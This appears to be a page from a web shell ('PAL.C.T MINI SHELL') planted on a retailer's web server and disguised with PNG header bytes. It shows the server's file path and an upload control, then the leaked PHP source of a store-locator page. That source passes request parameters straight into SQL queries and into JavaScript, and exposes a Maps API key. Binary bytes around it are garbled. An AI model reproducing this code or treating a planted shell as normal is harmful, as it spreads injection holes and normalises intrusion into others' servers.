php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/fbc/
upload
files >> /var/www/html/fbc/jaringan.php

<?php 
include "koneksi.php"; ?>
<!DOCTYPE html>
<html>
	<head>
		<title>Faedah Teknik</title>
		<link rel="shortcut icon" href="favicon.jpg" />
		<!--meta-->
		<meta charset="UTF-8" />
		<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
		<meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0">

		<!--style-->
		<!-- Bootstrap core CSS -->
	    <link href="<?php echo $base_url; ?>/asset/css/bootstrap.css" rel="stylesheet">
	    <link href="<?php echo $base_url; ?>/asset/css/slider.css" rel="stylesheet">
		<!--<link href="asset/css/flat-btn.css" rel="stylesheet"> -->
	    <link href="<?php echo $base_url; ?>/asset/css/style.css" rel="stylesheet">
		<link rel="stylesheet" type="text/css" href="<?php echo $base_url; ?>/asset/style/fancybox/jquery.fancybox.css" />
		<link rel="stylesheet" type="text/css" href="<?php echo $base_url; ?>/asset/style/jquery-ui-1.9.2.custom.css" />
		<link rel="stylesheet" type="text/css" href="<?php echo $base_url; ?>/asset/style/slide.css" />
		<link rel="stylesheet" type="text/css" href="<?php echo $base_url; ?>/asset/style/responsive.css" />


		<script src="https://use.fontawesome.com/a122d960f4.js"></script>

    	<script src="<?php echo $base_url; ?>/asset/js/jquery.js"></script>

<script type="text/javascript" src="<?php echo $base_url; ?>/asset/pop/jquery.fancybox.js"></script>
<link rel="stylesheet" type="text/css" href="<?php echo $base_url; ?>/asset/pop/jquery.fancybox.css" media="screen" />
<link rel="stylesheet" type="text/css" href="<?php echo $base_url; ?>/asset/pop/jquery.fancybox-buttons.css" />
<script type="text/javascript" src="<?php echo $base_url; ?>/asset/pop/jquery.fancybox-buttons.js"></script>
    
<script type="text/javascript">
    $(document).ready(function() {
      
      $('.fancybox').fancybox();
      $('.rot').fancybox({
          'width': 600,
          'autoSize': false
      });

      
      $('.fancybox-buttons').fancybox({
        openEffect  : 'none',
        closeEffect : 'none',

        prevEffect : 'none',
        nextEffect : 'none',

        closeBtn  : false,

        helpers : {
          title : {
            type : 'inside'
          },
          buttons : {}
        }
        
      });

    });
  </script>
  <style type="text/css">
    .fancybox-custom .fancybox-skin {
      box-shadow: 0 0 50px #222;
    }

    
  </style>
		


    <!-- HTML5 shim and Respond.js IE8 support of HTML5 elements and media queries -->
    <!--[if lt IE 9]>
      <script src="asset/js/html5shiv.js"></script>
      <script src="asset/js/respond.min.js"></script>
    <![endif]-->
    <!--Start of Zopim Live Chat Script-->
<script type="text/javascript">
window.$zopim||(function(d,s){var z=$zopim=function(c){z._.push(c)},$=z.s=
d.createElement(s),e=d.getElementsByTagName(s)[0];z.set=function(o){z.set.
_.push(o)};z._=[];z.set._=[];$.async=!0;$.setAttribute("charset","utf-8");
$.src="//v2.zopim.com/?3vHk1KMc7DCYbeK8QMjCKRxMnsEdxrrr";z.t=+new Date;$.
type="text/javascript";e.parentNode.insertBefore($,e)})(document,"script");
</script>
<!--End of Zopim Live Chat Script-->
	</head>
<body>
<header>
<div class='container head-bar'>
	<div id='logo'>
		<div class='col-md-8'>
			<a href="<?php echo $base_url; ?>/home"><img src="<?php echo $base_url; ?>/image/logo_1.png"></a>
		</div> 
		<div class='col-md-4'>
				
			<form action='cari.php' method="get" target="_blank">
				<div class="input-group" style="margin-top: 15px;">
	              <input type="text" class="form-control" name="search" placeholder="Search">
	              <span class="input-group-btn">
	                <button type="submit" class="btn btn-secondary" type="button"><i class="fa fa-search"></i></button>
	              </span>

                
	            </div>
			</form>
		</div>
	</div>	
</div>
<style type="text/css">
	.portfolio-item {
		/*box-shadow: 1px 1px 5px rgba(0,0,0,0.5);*/
		border:1px solid #e0e0e0;
		position: relative;
		display:none;
		overflow: hidden;
		padding: 0;
		margin-bottom:30px;
	}
	.portfolio-item .portfolio-image {
		position: relative;
		display: block;
		overflow: hidden;
	}
	/*.portfolio-item:hover img {
		-webkit-transform: scale(1.1,1.1);
		-moz-transform: scale(1.1,1.1);
		-ms-transform: scale(1.1,1.1);
		-o-transform: scale(1.1,1.1);
		transform: scale(1.1,1.1);
	}*/
	.portfolio-item:hover {
		box-shadow: 0 0 4px 1px rgba(204,204,204,.48);
	}
	    
	.portfolio-item .portfolio-image img {
		width: 100%;
		height: auto;
		-webkit-transition: all 0.2s linear;
		-moz-transition: all 0.2s linear;
		-o-transition: all 0.2s linear;
		transition: all 0.2s linear;
	}
	
	#gl{
	  border-top:1px solid #e0e0e0;
	  padding: 7px;
	  height: 95px;
	  padding-bottom:20px;
	}
	#gl h3{
	  margin: 5px 0;
	  font-weight: bold;
	  height: 35px;
	  color:#222;
	  font-size: 14px;
	}
	#gl span{
	  color: #888;
	}
	#gl h5{
	  margin: 0;
	  padding: 0;
	  color:#ff5722;
	}
	#bn{
		background: #68B6E6;
		padding: 30px;
	}
	#div-main-infoWindow .fa{
		font-size: 30px;
		color:#014EA2;
		margin: 0 5px;
	}
	@media screen and (max-width:768px){
		#gl{
			height: 100px;
		}
		#bx img{
			margin-bottom: 15px;
		}
		#bx2{
			padding: 0 15px 15px;
		}
	}
	@media screen and (max-width:480px){
		#pr .col-xs-6{
			width: 100%;
		}
		#gl{
			height: auto;
		}

	}
</style>
</header>


<div class="container" style="background: #fff; padding-top: 15px">

	
	
	<div class='row'>
		
		<div class='col-md-12 main-contain'>
			<form method="get">
				<div class="form-group">
					<div class="row">
						<div class="col-md-4">
							<select class="form-control" name="id" onchange="form.submit();">
								<?php
									if(isset($_GET['id'])){
									    $id = $_GET['id'];
									}
									if(empty($_GET['id'])){
									    $_GET['id'] = "1";
									    $id = "1";
									}
									if(isset($_GET['id2'])){
									    $id2 = $_GET['id2'];
									}
									if(empty($_GET['id2'])){
									    $_GET['id2'] = "";
									    $id2 = "";
									}
									$sk01 = "SELECT * FROM db_wilayah WHERE id_wil = '$id'";
									$qk01 = mysql_query($sk01);
									$rk01 = mysql_fetch_assoc($qk01);

									$sk0 = "SELECT * FROM db_wilayah WHERE induk = '0'";
									$qk0 = mysql_query($sk0);
									while($rk0 = mysql_fetch_assoc($qk0)){
								?>
									<option value="<?php echo $rk0['id_wil']; ?>" <?php if($rk0['id_wil'] == $id){echo "selected";} ?>><?php echo $rk0['nama_wil']; ?></option>
								<?php }
								?>
							</select>
						</div>
						<div class="col-md-4">
							<div class="input-group">
				              <input type="text" class="form-control" name="id2" placeholder="Lokasi Anda..." value="<?php echo $id2; ?>" id="city_country">
				              <span class="input-group-btn">
				                <button type="submit" class="btn btn-secondary" type="button"><i class="fa fa-search"></i></button>
				              </span>

			                
				            </div>
				        </div>
				    </div>
				</div>
			</form>
			<div class="row">
				<div class="col-md-12">
					<style type="text/css">					
						#map_canvas{
							width: 100%;
							height: 350px;
						}
					</style>
	            	<div id="map_canvas"></div>
	            	<?php
	        	
			        $locations=array();
			        $sl = "SELECT A.*,B.* FROM db_wilayah A INNER JOIN fbc_jaringan B ON A.id_wil = B.id_kec WHERE B.id_kab = '".$id."' AND B.status='valid' ORDER BY A.nama_wil ASC";
			        
			        $query = mysql_query($sl);
			        while ($row = mysql_fetch_assoc($query)) {
			        	$ph = substr($row['phone'], 1);
			        	$ph = str_replace(' ', '', $ph);
						$ph = "+62".$ph;

						$wa = substr($row['whatsapp'], 1);
						$wa = str_replace(' ', '', $wa);
						$wa = "62".$wa;
			      
			            $nama_toko = $row['nama_toko'];
			            $alamat1 = $row['alamat1'];
			            $alamat2 = $row['alamat2'];
			            $phone = $row['phone'];
			            
			            $koordinat = trim($row['gps']);
			            $parts1 = explode(',', $koordinat);
			            
			            $latitude = $parts1[0];
			            $longitude = $parts1[1]; 

			            if($row['jenis']=='1'){
			            	$icon = 'fbc.png';
			            }else{
			            	$icon = '';
			            }
			            


			            /* Each row is added as a new array */
			            $locations[]=array( 'nama_toko'=>$nama_toko,'alamat1'=>$alamat1,'alamat2'=>$alamat2, 'phone'=>$phone, 'ph'=>$ph, 'wa'=>$wa,'lat'=>$latitude, 'lng'=>$longitude, 'icon'=>$icon );
			        }
			        /* Convert data to json */
			        $markers = json_encode( $locations );
			    ?>
			    <script type="text/javascript" src="https://maps.googleapis.com/maps/api/js?key=AIzaSyAooxL4-WIAUsN8YSKQkec_8UXgguqOsHI&libraries=places">
			    </script>
			    <script type='text/javascript'>


			        <?php
			            echo "var point=$markers;\n";

			        ?>
			        var markers = [];
			        var locations = [];
			        
			        var iterator = 0;
			        $(document).ready(function() {
			        // 	new google.maps.places.Autocomplete(
           //            (document.getElementById('city_country')), {
           //             types: []
           //          });
			        	var prev_infowindow =false; 

			        	var geocoder =  new google.maps.Geocoder();
				    	var address = <?php echo "'".$id2."'"; ?>;
				    	var city = <?php echo "'".$rk01['nama_wil']."'"; ?>;
				    	var final = address+city;
					    geocoder.geocode( { 'address': final}, function(results, status) {
					          if (status == google.maps.GeocoderStatus.OK) {
					             
					         
				        var latlng = new google.maps.LatLng(results[0].geometry.location.lat(), results[0].geometry.location.lng());
				        var myStyles =[
						    {
						        featureType: "poi",
						        elementType: "labels",
						        stylers: [
						              { visibility: "off" }
						        ]
						    }
						];
			            var myOptions = {
			                zoom: <?php if($id2 != ""){echo "15";}else{echo "13";} ?>,
			                center: latlng,
			                mapTypeId: google.maps.MapTypeId.ROADMAP,
			                mapTypeControl: false,
			                styles: myStyles 
			            };

			            var map = new google.maps.Map(document.getElementById("map_canvas"),myOptions);
			            var infowindow = new google.maps.InfoWindow(), marker, lat, lng;


			            for(var i in point){

			                lat = point[i].lat;
			                lng = point[i].lng;
			                
			                
			                nama_toko = point[i].nama_toko;
			                alamat1 = point[i].alamat1;
			                alamat2 = point[i].alamat2;
			                phone = point[i].phone;
			                ph = point[i].ph;
			                wa = point[i].wa;
			                icon = point[i].icon;
			                
			                

			                addMarker(lat, lng, nama_toko, alamat1, alamat2, phone, ph, wa, icon);

			            }

			            function addMarker(lat, lng, nama_toko, alamat1, alamat2, phone, ph, wa, icon) {

			                var storecoords = new google.maps.LatLng(lat, lng);
			                var marker = new google.maps.Marker({
			                  position: storecoords,
			                  map: map,
			                  icon: icon,
			                  draggable: false,
			                  animation: google.maps.Animation.DROP
			                });               
			                
			                var stinfo = '<div id="div-main-infoWindow"><h3 style="color:#000; margin:0; margin-bottom:5px;">'+nama_toko+'</h3><p style="padding:0">'+alamat1+'<br>'+alamat2+'<br>Ph. '+phone+'</p><a href="tel:'+ph+'" target="_blank"><i class="fa fa-phone-square"></i></a><a href="https://api.whatsapp.com/send?phone='+wa+'" target="_blank"><i class="fa fa-whatsapp"></i></a></div>'

			                var infowindow = new google.maps.InfoWindow({
			                      content: stinfo
			                    });
			                
			                google.maps.event.addListener(marker, 'click', function() {
			                	if( prev_infowindow ) {
						           prev_infowindow.close();
						        }
			                	if(!marker.open){
			                		
						            infowindow.open(marker.get('map'), marker);
					                  newpoint = storecoords;              
					                  map.setZoom(15);
					                  setTimeout(moveToNewPoint, 1);
						            marker.open = true;
						            prev_infowindow = infowindow;
						        }
						        else{
						            infowindow.close();
						            marker.open = false;
						        }
						        google.maps.event.addListener(map, 'click', function() {
						            infowindow.close();
						            marker.open = false;
						        });
			                  
			                });
			                
			                markers.push(marker);
			                iterator++;
			                google.maps.event.addListener(infowindow, 'domready', function () {
						     //    $('.gm-style-iw').parent().addClass('custom-iw');		
						     //    var iwOuter = $('.gm-style-iw');
						     //    var iwCloseBtn = iwOuter.next();

							    // // Apply the desired effect to the close button
							    // iwCloseBtn.css({opacity: '1', right: '-26px', top: '3px', width: '17px', height: '17px', border: '2px solid #48b5e9', 'border-radius': '13px', 'box-shadow': '0 0 5px #3990B9'});			        
						    });
			            }
			            function moveToNewPoint()
			            {
			            	map.setCenter(newpoint);
			            }
			             } 
				        });
			            
						
						
			        });
			        
			    </script>
			    <style type="text/css">

			    	.custom-iw .gm-style-iw {
			          top:5px !important;
			          left:25px !important;
			          border-radius:2px;
			      }
			      .custom-iw>div:first-child>div:nth-child(2) {
			          display:none;
			      }
			      .custom-iw .gm-style-iw, .custom-iw .gm-style-iw>div, .custom-iw .gm-style-iw>div>div {
			          width:100% !important;
			          max-width:100% !important;
			      }
			      /** set here the width **/
			      .custom-iw, .custom-iw>div:first-child>div:last-child {
			          width:272px !important;
			      }
			      .custom-iw>div:first-child>div:last-child {
			          left:25px !important;
			          top:0px;
			          box-shadow: rgba(0, 0, 0, 0.6) 0px 1px 6px;
			          z-index:-1 !important;
			      }
			      /** set here the desired background-color **/
			      .custom-iw>div:first-child>div:nth-child(n-1)>div>div, .custom-iw>div>div:last-child{
			          background-color:#fff !important;
			      }
			      /** close-button **/
			      /*.custom-iw>div:last-child {
			          top:3px !important;
			          right:-25px !important;
			          border:2px solid #48b5e9;
			          width: 17px !important;
			          box-shadow: 0 0 5px #3990B9;
			          height: 17px !important;
			          border-radius: 100%;
			          padding: 5px;
			      }*/
			      /** padding of the content **/
			      #div-main-infoWindow {
			          padding:15px;
			      }
			    </style>
				</div>
			</div>
			<div class="news_tittle">
				<h4>Jaringan Toko FBC</h4>
			</div>

			<style type="text/css">
				#kc h3{
					margin:0;
					margin-bottom: 5px;
					color: #888;
					font-weight: 500;
					font-style: italic;
					border-bottom: 1px solid #ccc;
				}
				#kc h5{
					font-weight: bold;
					margin-bottom: 0;
					color:#000;
				}
				#bx{
					margin-bottom: 15px;
					border:1px solid #ccc;
				}
				#bx h3{
					margin-bottom: 5px;
				}
				#bx p{
					padding: 0;
				}
				#bx i{
					font-size: 30px;
					color: #014EA2;
					margin: 0 5px;
				}
				#bx img{
					width: 100%;
				}
			</style>
			<div class="row">
				<div class="col-md-12">
					<a href="http://fbc.faedahteknik.com"><h3 style="margin-top: 0">&laquo; Kembali ke Produk FBC</h3></a>
					<div id="bx">
						
						<div class="row">
							<div class="col-md-5 col-sm-5">
								<img src="ct2.jpeg">
						
							</div>
							<div class="col-md-7 col-sm-7">
								<div class="row">
									<div class="col-md-12">
										<div id="bx2">
											<h3>FAEDAH Hardware & Tools</h3>
											<p>Jl. Bogor No. 40<br>Medan 20212<br>(061)456-8886</p>
										
											<a href="tel:+62614568886"><i class="fa fa-phone-square"></i></a>
											<a href="https://api.whatsapp.com/send?phone=6282221086668"><i class="fa fa-whatsapp"></i></a>
											<a href="https://goo.gl/maps/gbKJxU9pDYz" target="_blank"><i class="fa fa-map-o"></i></a>
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>

				<?php 
					


					$sk = "SELECT A.id_wil,A.nama_wil FROM db_wilayah A INNER JOIN fbc_jaringan B ON A.id_wil = B.id_kec WHERE B.id_kab = '".$id."' AND B.status='valid' GROUP BY A.id_wil ORDER BY A.nama_wil ASC";
					$qk = mysql_query($sk);
					
					while($rk = mysql_fetch_assoc($qk)){
					?>
						<div class="row" id="kc"> 
							<div class="col-md-12">
								<h3><?php echo $rk['nama_wil']; ?></h3>
								<div class="row">
									<?php 
										$st = "SELECT * FROM fbc_jaringan WHERE id_kec= '".$rk['id_wil']."'";
										$qt = mysql_query($st);
										while($rt = mysql_fetch_assoc($qt)){
									?>
									<div class="col-md-4 col-sm-6 col-xs-6">
										<a href="<?php echo $main_url; ?>/detail2.php?id=<?php echo $rt['id_db']; ?>" class="fancybox fancybox.iframe"><h5><?php echo $rt['nama_toko']; ?>&nbsp; <?php if($rt['jenis']=='1'){ ?><img src="verified.png" height="20px"><?php } ?></h5></a>
										<?php echo $rt['alamat1']; ?><br>
										<?php echo $rt['alamat2']; ?><br>
										Ph. <?php echo $rt['phone']; ?><br><br>
									</div>
									<?php }
									?>
								</div>
							</div>
						</div>

					<?php
					}
				
				?>

					<style type="text/css">
						#ic{
							margin-bottom: 50px;
						}
						#ic img{
							width: 100%;
							margin-bottom: 15px;
						}
					</style>
					<div class="row" id="ic">
						<?php 
							$si = "SELECT * FROM fbc_icon ORDER BY no_urut ASC";
							$qi = mysql_query($si);
							while($ri = mysql_fetch_assoc($qi)){
							?>
								<div class="col-md-2 col-sm-3 col-xs-3">
									<a href="<?php echo $ri['url']; ?>" target="_blank"><img src="<?php echo $base_url; ?>/fl/images/img_icon/<?php echo $ri['foto']; ?>"></a>
								</div>

							<?php
							}
						?>
					</div>
				</div>

			</div>
		</div>
	</div>
	
</div>
<br><br>
<footer>
	<div class='container'>
		<br>
		<p>Copyright © 2015 Faedah. All Rights Reserved.</p>
		<br>
		<br>
	</div>
		
</footer>
    <!-- Bootstrap core JavaScript
    ================================================== -->
    <!-- Placed at the end of the document so the pages load faster -->
    	<script src="<?php echo $base_url; ?>/asset/js/bootstrap.min.js"></script>
    	<script src="<?php echo $base_url; ?>/asset/js/holder.js"></script>
    	<script src="<?php echo $base_url; ?>/asset/js/script.js"></script>
		<script type="text/javascript" src="<?php echo $base_url; ?>/asset/js/jquery.fancybox-1.3.4.pack.js"></script>
		<script type="text/javascript">

		$(document).ready(function(){
			jQuery('ul.nav li.dropdown').hover(function() {
			  jQuery(this).find('.dropdown-menu').stop(true, true).delay(100).fadeIn();
			}, function() {
			  jQuery(this).find('.dropdown-menu').stop(true, true).delay(100).fadeOut();
			});	

		});
		</script>
	
</body>
</html>
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`